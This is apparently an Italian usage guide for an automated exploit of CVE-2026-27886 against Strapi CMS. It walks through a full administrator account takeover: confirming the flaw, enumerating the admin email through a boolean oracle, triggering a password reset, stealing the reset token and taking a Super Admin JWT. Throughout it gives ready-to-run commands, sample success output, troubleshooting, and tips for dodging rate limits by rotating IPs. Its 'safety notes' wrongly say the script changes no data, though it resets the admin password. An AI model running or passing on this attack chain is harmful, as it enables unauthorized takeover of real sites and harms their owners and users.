CVE-2026-27886 Exploit Automatico - Guida all'Uso

Cosa Fa Questo Script

Automatizza l'intera catena di account takeover in 4 gruppi di richieste HTTP:

1. Verifica della Vulnerabilità - Conferma che il target è vulnerabile
2. Enumerazione Email - Estrae l'email dell'amministratore tramite oracle booleano (~500 richieste)
3. Attivazione Reset Password - Avvia il flusso di recupero password di Strapi
4. Esfiltrazione Token - Ruba il token di reset a 40 caratteri (~320 richieste)
5. Account Takeover - Usa il token rubato per ottenere il JWT Super Admin

Utilizzo Base

Modalità Solo Verifica (Sicura)

Verifica se il target è vulnerabile senza sfruttamento:

./cve-2026-27886-exploit.py https://target/api/articles --verify-only

Sfruttamento Completo (Più Veloce)

Automatizza tutto se non conosci l'email dell'amministratore:

./cve-2026-27886-exploit.py https://target/api/articles

Output:

[+] Target: https://target/api/articles
[+] URL Base: https://target
[*] Verifica della vulnerabilità...
    [+] Vulnerabile: baseline=12, where_test=0
[*] Enumerazione email amministratore...
    [email protected]
[*] Attivazione reset password per [email protected]...
    [+] Reset password attivato (HTTP 204)
[*] Estrazione token reset a 40 caratteri...
    [100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Reset password con token rubato...
    [+] Reset password riuscito!
    [+] JWT: eyJhbGciOiJIUzI1NiIs...
    [+] Utente: [email protected] (ID: 1)

[+] SUCCESSO! Account amministratore compromesso.
[+] Token JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Salta Enumerazione Email (Più Veloce)

Se conosci già l'email dell'amministratore (risparmia ~500 richieste):

./cve-2026-27886-exploit.py https://target/api/articles \
  --email [email protected]

Password Personalizzata

Imposta una password personalizzata invece di quella predefinita:

./cve-2026-27886-exploit.py https://target/api/articles \
  --email [email protected] \
  --password "MyPassword123!"

Aggiungi Ritardi (Evita Limiti di Frequenza)

Se il target ha limiti di frequenza:

./cve-2026-27886-exploit.py https://target/api/articles \
  --delay 0.1

Questo aggiunge 100ms tra ogni richiesta (~2-3 minuti per lo sfruttamento completo).

URL Base Esplicito

Se gli endpoint /admin/* sono su un host diverso:

./cve-2026-27886-exploit.py https://api.target/articles \
  --base-url https://admin.target

Problemi Comuni

"Risposta non JSON"

• Endpoint sbagliato (non è una raccolta API Content di Strapi)
• Prova: https://target/api/products, https://target/api/articles, ecc.

"Enumerazione email fallita"

• Raccolta vuota (nessuna chiave esterna updated_by_id)
• Il ruolo amministratore non corrisponde a nessuno nel database
• Prova un endpoint diverso se ne esistono multipli

"Estrazione token reset fallita"

• Il reset password non è stato attivato
• Email amministratore diversa da quella ipotizzata
• Token scaduto (riprova, dura ~24 ore di default)

Essere limitati dalla frequenza

• Aggiungi --delay 0.05 o superiore
• Oppure usa una VPN/proxy per ruotare gli indirizzi IP

Note sulla Sicurezza

Questo script:

• ✅ Effettua solo richieste GET/POST (nessuna modifica dei dati)
• ✅ Colpisce solo il bypass del parametro query vulnerabile di Strapi
• ✅ Usa gli endpoint legittimi di reset password di Strapi
• ✅ Non lascia artefatti memorizzati sul target
• ⚠️ È RUMOROSO - Effettua 800+ richieste in sequenza (ovvio nei log)